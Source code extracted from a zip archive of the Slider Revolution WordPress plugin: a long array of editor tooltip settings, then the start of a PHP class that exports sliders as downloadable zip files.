				'text' => 'Add pre-styled headlines, paragraph text and buttons to the current Slide'
				
			),
			'device_switcher' => array(
			
				'title' => 'Device View Switcher',
				'target' => '#main_screenselector',
				'alignment' => 'bottom',
				'margin' => '20px 0 0 0',
				'trigger' => '#main_screenselector:visible',
				'text' => "Adjust your content's size and position for different screen sizes"
				
			),
			'layer_selections' => array(
			
				'title' => 'Layer Selections',
				'target' => '#toolkit_selector_wrap',
				'alignment' => 'bottom',
				'margin' => '20px 0 0 0',
				'text' => 'Choose the way you would like to select multiple Layers on the stage'
			
			),
			'slider_settings' => array(
			
				'title' => 'Slider Settings',
				'target' => '#module_settings_trigger',
				'alignment' => 'bottom',
				'margin' => '20px 0 0 0',
				'elementcss' => 'width: 80px',
				'focus' => 'none',
				'trigger' => array('#module_settings_trigger'),
				'text' => "Adjust the module's Layout and set its Slideshow behavior"
			
			),
			'slider_navigation' => array(
			
				'title' => 'Slider Navigation',
				'target' => '#module_navigation_trigger',
				'alignment' => 'bottom',
				'margin' => '20px 0 0 0',
				'elementcss' => 'width: 80px',
				'focus' => 'none',
				'trigger' => array('#module_navigation_trigger'),
				'text' => 'Add a variety of navigation elements to your Slider'
			
			),
			'slide_settings' => array(
			
				'title' => 'Slide Settings',
				'target' => '#module_slide_trigger',
				'alignment' => 'bottom-left',
				'margin' => '20px 0 0 78px',
				'elementcss' => 'width: 80px',
				'focus' => 'none',
				'trigger' => array('#module_slide_trigger'),
				'text' => "Set the Slide's main background and slide-change animation"
			
			),
			'layer_settings' => array(
			
				'title' => 'Layer Settings',
				'target' => '#module_layers_trigger',
				'alignment' => 'bottom-left',
				'margin' => '20px 0 0 78px',
				'elementcss' => 'width: 80px',
				'focus' => 'none',
				'trigger' => array('#module_layers_trigger'),
				'text' => "Adjust the size and position for your Slide's content"
			
			),
			'shortcode' => array(
			
				'title' => 'Title/Shortcode',
				'target' => '#sr_shortcode',
				'placer' => '#rs_shortcode_label',
				'alignment' => 'left',
				'margin' => '-4px 0 0 -17px',
				'trigger' => array('#module_settings_trigger', '#gst_sl_1'),
				'section' => 'Module General Options -> Title',
				'text' => 'The shortcode for the module is located here.'
			
			),
			'back' => array(
			
				'title' => 'Back to Plugin Admin Page',
				'target' => '#back_to_overview',
				'alignment' => 'bottom-right',
				'margin' => '20px 0 0 -90px',
				'text' => "Click here to go back to the plugin's main admin page"
			
			),
			'add_slide' => array(
			
				'title' => 'Add Slide',
				'target' => '#add_slide_toolbar_wrap',
				'focus' => '.toolbar_dd_subdrop_wrap',
				'alignment' => 'top-right',
				'margin' => '-5px 0 0 20px',
				'cssClass' => 'tip-hover',
				'text' => 'Add a new Slide to the Slider',
				'linkText' => 'Learn More',
				'link' => 'https://www.sliderrevolution.com/documentation/slide-management/'
			
			),
			'global_layers' => array(
			
				'title' => 'Global Layers',
				'target' => '#add_slide_toolbar_wrap',
				'focus' => '.static-slide-btn',
				'alignment' => 'top-right',
				'margin' => '-5px 0 0 20px',
				'cssClass' => 'tip-hover tip-hover-staticlayers',
				'text' => 'Content that should always be visible throughout the life-cycle of your Slider exists here',
				'linkText' => 'Learn More',
				'link' => 'https://www.sliderrevolution.com/documentation/global-layers/'
			
			),
			'slide_order' => array(
			
				'title' => 'Change Slide Order',
				'target' => '#add_slide_toolbar_wrap',
				'focus' => '.slide_list_element.selected',
				'alignment' => 'top-right',
				'margin' => '-5px 0 0 20px',
				'cssClass' => 'tip-hover tip-hover-slideorder',
				'text' => 'Drag these menu items on top of one another to change the order of your Slides',
				'linkText' => 'Learn More',
				'link' => 'https://www.sliderrevolution.com/documentation/slide-management/#switch-reorder-slides'
			
			),
			'add_layer_text' => array(
			
				'title' => 'Add Text Layer',
				'target' => '#add_layer_toolbar_wrap',
				'focus' => '#toolbar_add_layer_text',
				'alignment' => 'top-right',
				'margin' => '-5px 0 0 20px',
				'cssClass' => 'tip-hover tip-hover-text',
				'text' => 'Add a text element to the current Slide',
				'linkText' => 'Learn More',
				'link' => 'https://www.sliderrevolution.com/documentation/layer-content/'
			
			),
			'add_layer_image' => array(
			
				'title' => 'Add Image Layer',
				'target' => '#add_layer_toolbar_wrap',
				'focus' => '#toolbar_add_layer_image',
				'alignment' => 'top-right',
				'margin' => '-5px 0 0 20px',
				'cssClass' => 'tip-hover tip-hover-image',
				'text' => 'Add an image to the current Slide',
				'linkText' => 'Learn More',
				'link' => 'https://www.sliderrevolution.com/documentation/layer-content/'
			
			),
			'add_layer_button' => array(
			
				'title' => 'Add Button Layer',
				'target' => '#add_layer_toolbar_wrap',
				'focus' => '#toolbar_add_layer_button',
				'alignment' => 'top-right',
				'margin' => '-5px 0 0 20px',
				'cssClass' => 'tip-hover tip-hover-button',
				'text' => 'Add a pre-styled button to the current Slide',
				'linkText' => 'Learn More',
				'link' => 'https://www.sliderrevolution.com/documentation/layer-content/'
			
			),
			'add_layer_shape' => array(
			
				'title' => 'Add Shape Layer',
				'target' => '#add_layer_toolbar_wrap',
				'focus' => '#toolbar_add_layer_shape',
				'alignment' => 'top-right',
				'margin' => '-5px 0 0 20px',
				'cssClass' => 'tip-hover tip-hover-shape',
				'text' => 'Shapes are elements with a background colors but not content',
				'linkText' => 'Learn More',
				'link' => 'https://www.sliderrevolution.com/documentation/layer-content/'
			
			),
			'add_layer_video' => array(
			
				'title' => 'Add Video Layer',
				'target' => '#add_layer_toolbar_wrap',
				'focus' => '#toolbar_add_layer_video',
				'alignment' => 'top-right',
				'margin' => '-5px 0 0 20px',
				'cssClass' => 'tip-hover tip-hover-video',
				'text' => 'Add a YouTube, Vimeo or HTML5 video to the current Slide',
				'linkText' => 'Learn More',
				'link' => 'https://www.sliderrevolution.com/documentation/layer-content/'
			
			),
			'add_layer_audio' => array(
			
				'title' => 'Add Audio Layer',
				'target' => '#add_layer_toolbar_wrap',
				'focus' => '#toolbar_add_layer_audio',
				'alignment' => 'top-right',
				'margin' => '-5px 0 0 20px',
				'cssClass' => 'tip-hover tip-hover-audio',
				'text' => 'Add sound to the current Slide',
				'linkText' => 'Learn More',
				'link' => 'https://www.sliderrevolution.com/documentation/layer-content/'
			
			),
			'add_layer_object' => array(
			
				'title' => 'Add Object Layer',
				'target' => '#add_layer_toolbar_wrap',
				'focus' => '#toolbar_add_layer_object',
				'alignment' => 'top-right',
				'margin' => '-5px 0 0 20px',
				'cssClass' => 'tip-hover tip-hover-object',
				'text' => 'Add a simple icon or SVG element to the current Slide',
				'linkText' => 'Learn More',
				'link' => 'https://www.sliderrevolution.com/documentation/layer-content/'
			
			),
			'add_layer_row' => array(
			
				'title' => 'Add Row',
				'target' => '#add_layer_toolbar_wrap',
				'focus' => '#toolbar_add_layer_row',
				'alignment' => 'top-right',
				'margin' => '-5px 0 0 20px',
				'cssClass' => 'tip-hover tip-hover-row',
				'text' => 'Add a new Row to the current Slide to allow for Rows/Column-based content',
				'linkText' => 'Learn More',
				'link' => 'https://www.sliderrevolution.com/documentation/rows-columns/'
			
			),
			'add_layer_group' => array(
			
				'title' => 'Add Group',
				'target' => '#add_layer_toolbar_wrap',
				'focus' => '#toolbar_add_layer_group',
				'alignment' => 'top-right',
				'margin' => '-5px 0 0 20px',
				'cssClass' => 'tip-hover tip-hover-group',
				'text' => 'Add a special container to the Slide that can then include multiple Layers grouped together',
				'linkText' => 'Learn More',
				'link' => 'https://www.sliderrevolution.com/documentation/layer-groups/'
			
			),
			'add_layer_layerlibrary' => array(
			
				'title' => 'Layer Library',
				'target' => '#add_layer_toolbar_wrap',
				'focus' => '#add_from_layerlibrary',
				'alignment' => 'top-right',
				'margin' => '-5px 0 0 20px',
				'cssClass' => 'tip-hover tip-hover-layerlibrary',
				'text' => 'Add a text-based template that includes a predefined style and animation',
				'linkText' => 'Learn More',
				'link' => 'https://www.sliderrevolution.com/documentation/layer-content/'
			
			),
			'add_layer_importlayer' => array(
			
				'title' => 'Import Layer',
				'target' => '#add_layer_toolbar_wrap',
				'focus' => '#import_layers',
				'alignment' => 'top-right',
				'margin' => '-5px 0 0 20px',
				'cssClass' => 'tip-hover tip-hover-importlayer',
				'text' => 'Import a Layer from another Slider or Slide',
				'linkText' => 'Learn More',
				'link' => 'https://www.sliderrevolution.com/documentation/layer-content/'
			
			),
			'delete_layer' => array(
			
				'title' => 'Delete Layer',
				'target' => '#do_delete_layer',
				'alignment' => 'bottom',
				'margin' => '20px 0 0 0',
				'trigger' => array('#module_layers_trigger'),
				'text' => 'Delete the currently selected Layer',
				'linkText' => 'Learn More',
				'link' => 'https://www.sliderrevolution.com/documentation/editor-overview/'
				
			),
			'duplicate_layer' => array(
			
				'title' => 'Duplicate Layer',
				'target' => '#duplicate_btn_icon',
				'focus' => '#do_duplicate_layer',
				'alignment' => 'top-left',
				'margin' => '-5px 0 0 -20px',
				'trigger' => array('#module_layers_trigger'),
				'cssClass' => 'tip-hover tip-hover-duplicate',
				'text' => 'Duplicate the currently selected Layer',
				'linkText' => 'Learn More',
				'link' => 'https://www.sliderrevolution.com/documentation/editor-overview/'
				
			),
			'copy_layer' => array(
			
				'title' => 'Copy Layer',
				'target' => '#duplicate_btn_icon',
				'focus' => '#do_copy_layer',
				'alignment' => 'top-left',
				'margin' => '-5px 0 0 -20px',
				'trigger' => array('#module_layers_trigger'),
				'cssClass' => 'tip-hover tip-hover-copy',
				'text' => 'Copy the current Layer and paste it into another Slide',
				'linkText' => 'Learn More',
				'link' => 'https://www.sliderrevolution.com/documentation/editor-overview/'
				
			),
			'paste_layer' => array(
			
				'title' => 'Paste Layer',
				'target' => '#duplicate_btn_icon',
				'focus' => '#do_paste_layer',
				'alignment' => 'top-left',
				'margin' => '-5px 0 0 -20px',
				'trigger' => array('#module_layers_trigger'),
				'cssClass' => 'tip-hover tip-hover-paste',
				'text' => 'Paste a copied Layer into the current Slide',
				'linkText' => 'Learn More',
				'link' => 'https://www.sliderrevolution.com/documentation/editor-overview/'
				
			),
			'lock_layers' => array(
			
				'title' => 'Lock Layers',
				'target' => '#do_lock_layer',
				'focus' => '#toggle_lock_layer',
				'alignment' => 'top-left',
				'margin' => '-5px 0 0 -20px',
				'trigger' => array('#module_layers_trigger'),
				'cssClass' => 'tip-hover tip-hover-lock',
				'text' => 'Lock the currently selected Layer(s) from being edited',
				'linkText' => 'Learn More',
				'link' => 'https://www.sliderrevolution.com/documentation/editor-overview/'
				
			),
			'unlock_layers' => array(
			
				'title' => 'Unlock Layers',
				'target' => '#do_lock_layer',
				'focus' => '#unlock_all_layer',
				'alignment' => 'top-left',
				'margin' => '-5px 0 0 -20px',
				'trigger' => array('#module_layers_trigger'),
				'cssClass' => 'tip-hover tip-hover-unlock',
				'text' => 'Unlock the currently selected Layers so they can be edited',
				'linkText' => 'Learn More',
				'link' => 'https://www.sliderrevolution.com/documentation/editor-overview/'
				
			),
			'hide_highlight_boxes' => array(
			
				'title' => 'Hide Highlight Boxes',
				'target' => '#do_show_layer',
				'focus' => '#hide_highlight_boxes',
				'alignment' => 'top-left',
				'margin' => '-5px 0 0 -20px',
				'trigger' => array('#module_layers_trigger'),
				'cssClass' => 'tip-hover tip-hover-highlightboxes',
				'text' => "Hide the editor's outline guide markers",
				'linkText' => 'Learn More',
				'link' => 'https://www.sliderrevolution.com/documentation/editor-overview/'
				
			),
			'show_hide_selected' => array(
			
				'title' => 'Show/Hide Selected',
				'target' => '#do_show_layer',
				'focus' => '#toggle_visible_layer',
				'alignment' => 'top-left',
				'margin' => '-5px 0 0 -20px',
				'trigger' => array('#module_layers_trigger'),
				'cssClass' => 'tip-hover tip-hover-showhide',
				'text' => "Show the editor's outline guide markers for the selected Layers",
				'linkText' => 'Learn More',
				'link' => 'https://www.sliderrevolution.com/documentation/editor-overview/'
				
			),
			'set_all_visible' => array(
			
				'title' => 'Set All Visible',
				'target' => '#do_show_layer',
				'focus' => '#visible_all_layer',
				'alignment' => 'top-left',
				'margin' => '-5px 0 0 -20px',
				'trigger' => array('#module_layers_trigger'),
				'cssClass' => 'tip-hover tip-hover-setallvisible',
				'text' => "Show all outline guide markers for the editor",
				'linkText' => 'Learn More',
				'link' => 'https://www.sliderrevolution.com/documentation/editor-overview/'
				
			),
			'change_layer_order' => array(
			
				'title' => 'Change Layer Order',
				'target' => '#do_background_layer',
				'alignment' => 'bottom',
				'margin' => '20px 0 0 0',
				'trigger' => array('#module_layers_trigger'),
				'text' => 'Use these arrows to adjust the z-index/stacking order of the currently selected Layer',
				'linkText' => 'Learn More',
				'link' => 'https://www.sliderrevolution.com/documentation/editor-overview/'
				
			),
			'layout_type' => array(
			
				'title' => 'Layout Type',
				'target' => '#rs-layout-type',
				'placer' => '#rs-layout-type label_a',
				'focus' => 'none',
				'alignment' => 'top-left',
				'margin' => '-4px 0 0 -20px',
				'trigger' => array('#module_settings_trigger', '#gst_sl_2'),
				'section' => 'Module General Options -> Layout',
				'scrollTo' => '#form_slider_layout_layout',
				'text' => "Optionally set your Slider to display as a carousel or a Hero Scene",
				'linkText' => 'Learn More',
				'link' => 'https://www.sliderrevolution.com/documentation/module-layout/'
			
			),
			'layout_sizing' => array(
			
				'title' => 'Layout Sizing',
				'target' => '#rs-layout-sizing',
				'placer' => '#rs-layout-sizing label_a',
				'focus' => 'none',
				'alignment' => 'top-left',
				'margin' => '-4px 0 0 -20px',
				'trigger' => array('#module_settings_trigger', '#gst_sl_2'),
				'section' => 'Module General Options -> Layout',
				'scrollTo' => '#form_slider_layout_layout',
				'text' => 'Choose how the Slider should be displayed on your web page',
				'linkText' => 'Learn More',
				'link' => 'https://www.sliderrevolution.com/documentation/module-layout/'
			
			),
			'breakpoints' => array(
			
				'title' => 'Enable Breakpoints',
				'target' => '#rs-laptop-breakpoint',
				'placer' => '#rs-laptop-breakpoint',
				'focus' => '.tponoffwrap',
				'alignment' => 'top-left',
				'margin' => '-5px 0 0 -20px',
				'trigger' => array('#module_settings_trigger', '#gst_sl_2'),
				'section' => 'Module General Options -> Layout',
				'scrollTo' => '#form_slider_layout_bpoints',
				'text' => "Enable device breakpoints and edit your content's size and position for each viewport",
				'linkText' => 'Learn More',
				'link' => 'https://www.sliderrevolution.com/documentation/module-layout/'
			
			),
			'module_content' => array(
			
				'title' => 'Module Content Source',
				'target' => '#rs-module-source-wrap',
				'focus' => 'none',
				'alignment' => 'top-left',
				'margin' => '-4px 0 0 -20px',
				'trigger' => array('#module_settings_trigger', '#gst_sl_4'),
				'section' => 'Module General Options -> Content',
				'text' => 'Choose if your Slider should be auto-populated with content from your blog or a social channel',
				'linkText' => 'Learn More',
				'link' => 'https://www.sliderrevolution.com/documentation/module-content/'
			
			),
			'auto_rotate' => array(
			
				'title' => 'Module Content Source',
				'target' => '#rs-autorotate-wrap',
				'placer' => '#rs-autorotate-wrap',
				'focus' => '.tponoffwrap',
				'alignment' => 'top-left',
				'margin' => '-4px 0 0 -20px',
				'trigger' => array('#module_settings_trigger', '#gst_sl_6'),
				'section' => 'Module General Options -> General',
				'scrollTo' => '#form_slidergeneral_general',
				'text' => 'Enable/disable autoplay for the Slider',
				'linkText' => 'Learn More',
				'link' => 'https://www.sliderrevolution.com/documentation/module-general-settings/'
			
			),
			'lazy_loading' => array(
			
				'title' => 'Lazy Loading',
				'target' => '#form_slidergeneral_advanced_loading .collapsable',
				'placer' => '#form_slidergeneral_advanced_loading label_a',
				'focus' => '.ddTP_S',
				'alignment' => 'top-left',
				'margin' => '-4px 0 0 -15px',
				'trigger' => array('#module_settings_trigger', '#gst_sl_10'),
				'section' => 'Module General Options -> Advanced',
				'scrollTo' => '#form_module_advanced',
				'text' => "Enable LazyLoading for your Slider's images for faster page loading",
				'linkText' => 'Learn More',
				'link' => 'https://www.sliderrevolution.com/documentation/advanced-module-settings/'
			
			),
			'progress_bar' => array(
			
				'title' => 'Progress Bar',
				'target' => '#form_nav_pbara',
				'placer' => '#form_nav_pbara .form_inner_header',
				'focus' => '.tponoffwrap',
				'alignment' => 'left',
				'margin' => '-4px 0 0 -15px',
				'cssClass' => 'form_collector nav_collector',
				'trigger' => array('#module_navigation_trigger', '#gst_nav_1'),
				'section' => 'Navigation Options -> Progress',
				'text' => "Display the Slider's progress with an animated horizontal bar",
				'linkText' => 'Learn More',
				'link' => 'https://www.sliderrevolution.com/documentation/progress-bar/'
			
			),
			'navigation_arrows' => array(
			
				'title' => 'Navigation Arrows',
				'target' => '#form_nav_arrows',
				'placer' => '#form_nav_arrows .form_inner_header',
				'focus' => '.tponoffwrap',
				'alignment' => 'left',
				'margin' => '-4px 0 0 -15px',
				'cssClass' => 'form_collector nav_collector form_menu_inside',
				'trigger' => array('#module_navigation_trigger', '#gst_nav_2'),
				'section' => 'Navigation Options -> Arrows',
				'text' => "Switch between Slides with navigation Arrows",
				'linkText' => 'Learn More',
				'link' => 'https://www.sliderrevolution.com/documentation/navigation-arrows/'
			
			),
			'navigation_bullets' => array(
			
				'title' => 'Navigation Bullets',
				'target' => '#form_nav_bullets',
				'placer' => '#form_nav_bullets .form_inner_header',
				'focus' => '.tponoffwrap',
				'alignment' => 'left',
				'margin' => '-4px 0 0 -15px',
				'cssClass' => 'form_collector nav_collector',
				'trigger' => array('#module_navigation_trigger', '#gst_nav_3'),
				'section' => 'Navigation Options -> Bullets',
				'text' => 'Switch between Slides with navigation Bullets',
				'linkText' => 'Learn More',
				'link' => 'https://www.sliderrevolution.com/documentation/navigation-bullets/'
			
			),
			'navigation_tabs' => array(
			
				'title' => 'Navigation Tabs',
				'target' => '#form_nav_tabs',
				'placer' => '#form_nav_tabs .form_inner_header',
				'focus' => '.tponoffwrap',
				'alignment' => 'left',
				'margin' => '-4px 0 0 -15px',
				'cssClass' => 'form_collector nav_collector',
				'trigger' => array('#module_navigation_trigger', '#gst_nav_4'),
				'section' => 'Navigation Options -> Tabs',
				'text' => 'Switch between Slides with navigation Tabs',
				'linkText' => 'Learn More',
				'link' => 'https://www.sliderrevolution.com/documentation/navigation-tabs/'
			
			),
			'navigation_thumbs' => array(
			
				'title' => 'Navigation Thumbs',
				'target' => '#form_nav_thumbs',
				'placer' => '#form_nav_thumbs .form_inner_header',
				'focus' => '.tponoffwrap',
				'alignment' => 'left',
				'margin' => '-4px 0 0 -15px',
				'cssClass' => 'form_collector nav_collector',
				'trigger' => array('#module_navigation_trigger', '#gst_nav_5'),
				'section' => 'Navigation Options -> Thumbs',
				'text' => 'Switch between Slides with navigation Thumbnails',
				'linkText' => 'Learn More',
				'link' => 'https://www.sliderrevolution.com/documentation/navigation-thumbnails/'
			
			),
			'slide_background' => array(
			
				'title' => 'Slide Background',
				'target' => '#form_slidebg',
				'placer' => '#form_slidebg label_a',
				'focus' => '.ddTP_S',
				'alignment' => 'left',
				'margin' => '0 0 0 -20px',
				'cssClass' => 'form_collector slide_settings_collector',
				'trigger' => array('#module_slide_trigger', '#gst_slide_1'),
				'section' => 'Slide Options -> Background',
				'text' => "Set/change the current Slide's main background to an image, video or color",
				'linkText' => 'Learn More',
				'link' => 'https://www.sliderrevolution.com/documentation/slide-background/'
			
			),
			'slide_animation' => array(
			
				'title' => 'Slide Animation',
				'target' => '#form_slide_transition',
				'placer' => '#active_transitions_innerwrap',
				'focus' => '.rightbutton',
				'alignment' => 'left',
				'margin' => '-3px 0 0 -20px',
				'cssClass' => 'form_collector slide_settings_collector',
				'trigger' => array('#module_slide_trigger', '#gst_slide_2'),
				'section' => 'Slide Options -> Title',
				'text' => "Set the animation for the Slide's main background image when the Slides change",
				'linkText' => 'Learn More',
				'link' => 'https://www.sliderrevolution.com/documentation/slide-animation/'
			
			),
			'background_filter' => array(
			
				'title' => 'Background Filter',
				'target' => '#form_slidebg_filters',
				'placer' => '#form_slidebg_filters label_a',
				'focus' => '.ddTP_S',
				'alignment' => 'left',
				'margin' => '-4px 0 0 -20px',
				'elementcss' => 'margin-top: -40px',
				'cssClass' => 'form_collector slide_settings_collector',
				'trigger' => array('#module_slide_trigger', '#gst_slide_5'),
				'section' => 'Slide Options -> Title',
				'text' => "Add a CSS image filter to the Slide's main background",
				'linkText' => 'Learn More',
				'link' => 'https://www.sliderrevolution.com/documentation/slide-filters/'
			
			),
			'slide_duration' => array(
			
				'title' => 'Slide Duration',
				'target' => '#form_slide_progress',
				'placer' => '#form_slide_progress label_a',
				'focus' => '#slide_length',
				'alignment' => 'left',
				'margin' => '-3px 0 0 -20px',
				'elementcss' => 'margin-top: -40px',
				'cssClass' => 'form_collector slide_settings_collector',
				'trigger' => array('#module_slide_trigger', '#gst_slide_8'),
				'section' => 'Slide Options -> Title',
				'text' => 'Adjust the total duration for the current Slide',
				'linkText' => 'Learn More',
				'link' => 'https://www.sliderrevolution.com/documentation/slide-progress/'
			
			),
			'slide_link' => array(
			
				'title' => 'Slide Link',
				'target' => '#form_slidegeneral_linkseo',
				'placer' => '#form_slidegeneral_linkseo label_a',
				'focus' => '.tponoffwrap',
				'alignment' => 'top-left',
				'margin' => '-3px 0 0 -20px',
				'cssClass' => 'form_collector slide_settings_collector',
				'trigger' => array('#module_slide_trigger', '#gst_slide_4'),
				'section' => 'Slide Options -> Title',
				'scrollTo' => '#form_slidegeneral_linkseo',
				'text' => 'Add a link to the entire Slide',
				'linkText' => 'Learn More',
				'link' => 'https://www.sliderrevolution.com/documentation/tags-link/'
			
			),
			'edit_text' => array(
			
				'title' => 'Edit Text',
				'target' => '#form_layercontent_content_text',
				'focus' => '#ta_layertext',
				'alignment' => 'left',
				'margin' => '-3px 0 0 -20px',
				'cssClass' => 'form_collector layer_settings_collector',
				'trigger' => array('._lc_type_text, ._lc_type_button', '#module_layers_trigger', '#gst_layer_1'),
				'section' => 'Layer Options -> Title',
				'text' => 'Edit the content of your text Layers here',
				'linkText' => 'Learn More',
				'link' => 'https://www.sliderrevolution.com/documentation/layer-content/#edit-set-content'
			
			),
			'font_size' => array(
			
				'title' => 'Font Size',
				'target' => '#form_layerstyle_font',
				'focus' => '#layer_font_size_idle',
				'alignment' => 'top-left',
				'margin' => '-3px 0 0 -115px',
				'cssClass' => 'form_collector layer_settings_collector',
				'trigger' => array('._lc_type_text, ._lc_type_button', '#module_layers_trigger', '#gst_layer_3'),
				'section' => 'Layer Options -> Title',
				'scrollTo' => '#form_layer_style',
				'text' => 'Set the font-size for your text Layers here',
				'linkText' => 'Learn More',
				'link' => 'https://www.sliderrevolution.com/documentation/font-colors-styling/'
			
			),
			'font_family' => array(
			
				'title' => 'Font Family',
				'target' => '#form_layerstyle_font',
				'focus' => '.ddTP_C--fontfamily .ddTP_S',
				'alignment' => 'top-left',
				'margin' => '-3px 0 0 -115px',
				'cssClass' => 'form_collector layer_settings_collector',
				'trigger' => array('._lc_type_text, ._lc_type_button', '#module_layers_trigger', '#gst_layer_3'),
				'section' => 'Layer Options -> Title',
				'scrollTo' => '#form_layer_style',
				'text' => 'Set the font-family for your text Layers here',
				'linkText' => 'Learn More',
				'link' => 'https://www.sliderrevolution.com/documentation/font-colors-styling/'
			
			),
			'font_color' => array(
			
				'title' => 'Font Color',
				'target' => '#form_layerstyle_font',
				'focus' => '.rev-colorpicker',
				'alignment' => 'top-left',
				'margin' => '-3px 0 0 -115px',
				'cssClass' => 'form_collector layer_settings_collector',
				'trigger' => array('._lc_type_text, ._lc_type_button', '#module_layers_trigger', '#gst_layer_3'),
				'section' => 'Layer Options -> Title',
				'scrollTo' => '#form_layer_style',
				'text' => 'Set the text color for your Layers here',
				'linkText' => 'Learn More',
				'link' => 'https://www.sliderrevolution.com/documentation/font-colors-styling/'
			
			),
			'layer_position' => array(
			
				'title' => 'Layer Position',
				'target' => '#rs-align-buttons',
				'alignment' => 'left',
				'focus' => 'none',
				'margin' => '-3px 0 0 -20px',
				'cssClass' => 'form_collector layer_settings_collector',
				'trigger' => array('._lc_type_text, ._lc_type_button, ._lc_type_video, ._lc_type_shape, ._lc_type_image, ._lc_type_audio, ._lc_type_object', '#module_layers_trigger', '#gst_layer_2'),
				'section' => 'Layer Options -> Title',
				'text' => "Adjust the Layer's position inside the current Slide",
				'linkText' => 'Learn More',
				'link' => 'https://www.sliderrevolution.com/documentation/size-position/'
			
			),
			'layer_animations' => array(
			
				'title' => 'Layer Animations',
				'target' => '#form_animation_sframes_keyframes',
				'alignment' => 'left',
				'focus' => 'none',
				'placer' => '#form_animation_sframes_keyframes',
				'margin' => '-26px 0 0 0',
				'cssClass' => 'form_collector layer_settings_collector',
				'trigger' => array('._lc_', '#module_layers_trigger', '#gst_layer_4'),
				'section' => 'Layer Options -> Title',
				'text' => 'Set the in/out animations for your Layer content here',
				'linkText' => 'Learn More',
				'link' => 'https://www.sliderrevolution.com/documentation/layer-animations/'
			
			),
			'layer_hover' => array(
			
				'title' => 'Layer Hover',
				'target' => '#form_layer_hover',
				'alignment' => 'left',
				'focus' => '.tponoffwrap',
				'placer' => '#form_layer_hover label_a',
				'margin' => '57px 0 0 0',
				'cssClass' => 'form_collector layer_settings_collector',
				'trigger' => array('._lc_', '#module_layers_trigger', '#gst_layer_9'),
				'section' => 'Layer Options -> Title',
				'text' => 'Apply hover styles to your Layers',
				'linkText' => 'Learn More',
				'link' => 'https://www.sliderrevolution.com/documentation/mouse-hover-settings/'
			
			),
			'edit_layer_name' => array(
			
				'title' => 'Edit Layer Name',
				'target' => '#do_title_layer',
				'alignment' => 'bottom',
				'margin' => '20px 0 0 0',
				'trigger' => array('._lc_'),
				'section' => 'Layer Options -> Title',
				'text' => 'Change the name of your Layers here to help organize your content'
				
			),
			'responsive_behavior' => array(
			
				'title' => 'Responsive Behavior',
				'target' => '#form_layerposition_basic',
				'alignment' => 'left',
				'focus' => '.tponoffwrap',
				'placer' => '#form_layerposition_basic label_a',
				'margin' => '57px 0 0 0',
				'cssClass' => 'form_collector layer_settings_collector',
				'trigger' => array('._lc_', '#module_layers_trigger', '#gst_layer_13'),
				'section' => 'Layer Options -> Title',
				'text' => 'Adjust the responsive behavior of your content here',
				'linkText' => 'Learn More',
				'link' => 'https://www.sliderrevolution.com/documentation/responsive-settings/'
			
			),
			'timeline_preview' => array(
			
				'title' => 'Timeline Preview',
				'target' => '.tl_playstop_wrap',
				'focus' => '#timline_process',
				'alignment' => 'top',
				'margin' => '15px 0 0 -3px',
				'cssClass' => 'rb-tooltip-timeline',
				'text' => "Preview the current Slide's animations",
				'linkText' => 'Learn More',
				'link' => 'https://www.sliderrevolution.com/documentation/slide-timeline/'
			
			),
			'save_module' => array(
			
				'title' => 'Save Module',
				'target' => '#save_slider',
				'focus' => 'none',
				'alignment' => 'right-top',
				'margin' => '25px 0px 0px 55px',
				'hidePrevSave' => true,
				'text' => 'Click this button to save your changes'
			
			),
			'preview_module' => array(
			
				'title' => 'Preview Module',
				'target' => '#preview_slider',
				'focus' => 'none',
				'alignment' => 'right-top',
				'margin' => '25px 0px 0px 70px',
				'hidePrevSave' => true,
				'text' => 'Click this button to preview the current Slide'
			
			)
			
		);
		
		return array('translations' => $translations, 'tooltips' => $tooltips);
		
	}
	
}PK�y3\���n-q-qincludes/export.class.phpnu�[���<?php
/**
 * @author    ThemePunch <info@themepunch.com>
 * @link      https://www.themepunch.com/
 * @copyright 2019 ThemePunch
 */

if(!defined('ABSPATH')) exit();

class RevSliderSliderExport extends RevSliderSlider {
	
	private $used_captions;
	private $used_animations;
	private $used_images;
	private $used_svg;
	private $used_videos;
	private $used_navigations;
	
	private $slider_id;
	private $slider_title;
	public $slider_alias;
	private $slider_params;
	private $slider_settings;
	private $export_slides;
	private $static_slide;
	private $all_slides;
	private $export_data;
	private $navigation_data;
	private $style_data;
	private $animations_data;
	public $usepcl;
	public $zip;
	public $export_path_zip;
	public $export_url_zip;
	public $pclzip;
	
	
	public function __construct($title = 'export'){
		$this->used_captions	= array();
		$this->used_animations	= array();
		$this->used_images		= array();
		$this->used_svg			= array();
		$this->used_videos		= array();
		$this->used_navigations	= array();
		$this->all_slides		= array();
		$this->navigation_data	= false;
		$this->style_data		= '';
		$this->animations_data	= '';
		$this->usepcl			= false;
		
		$wp_upload_dir			= wp_upload_dir();
		$this->export_path_zip	= $this->get_val($wp_upload_dir, 'basedir').'/'.$title.'.zip';
		$this->export_url_zip	= $this->get_val($wp_upload_dir, 'baseurl').'/'.$title.'.zip';
	}
	
	/**
	 * return the used images, for SEO
	 */
	public function get_used_images(){
		return $this->used_images;
	}
	
	/**
	 * export slider from data, output a file for download
	 * @before: RevSliderSlider::exportSlider();
	 */
	public function export_slider($id = 0){
		//slider needs to be initialized :)
		if($id > 0){
			$this->init_by_id($id);
		}
		
		//check if an update is needed
		if(version_compare($this->get_param(array('settings', 'version')), get_option('revslider_update_version', '6.0.0'), '<')){
			$upd = new RevSliderPluginUpdate();
			$upd->upgrade_slider_to_latest($this);
			$this->init_by_id($id);
		}
		
		$this->set_parameters();
		$this->remove_image_ids();
		$this->remove_background_image();
		
		$this->add_used_images();
		$this->add_used_videos();
		//$this->add_used_captions();
		//$this->add_used_animations();
		$this->add_used_navigations();
		$this->add_used_svg();
		
		$this->modify_used_data();
		
		$this->serialize_export_data();
		$this->serialize_navigation_data();
		$this->prepare_caption_css();
		$this->serialize_animation_data();
		
		$this->create_export_zip();
		$this->add_svg_to_zip();
		$this->add_images_videos_to_zip();
		$this->add_slider_export_to_zip();
		$this->add_animations_to_zip();
		$this->add_styles_to_zip();
		$this->add_navigation_to_zip();
		$this->add_static_styles_to_zip();
		$this->add_info_to_zip();
		$this->close_export_zip();
		$this->push_zip_to_client();
		$this->delete_export_zip();
		
		exit;
	}
	
	
	/**
	 * set slides and slider parameters
	 **/
	public function set_parameters(){
		$this->slider_id		= $this->get_id();
		$this->slider_title		= $this->get_title();
		$this->slider_alias		= $this->get_alias();
		$this->slider_params	= $this->get_params();
		$this->slider_settings	= $this->get_settings();
		$this->export_slides	= $this->get_slides_for_export();
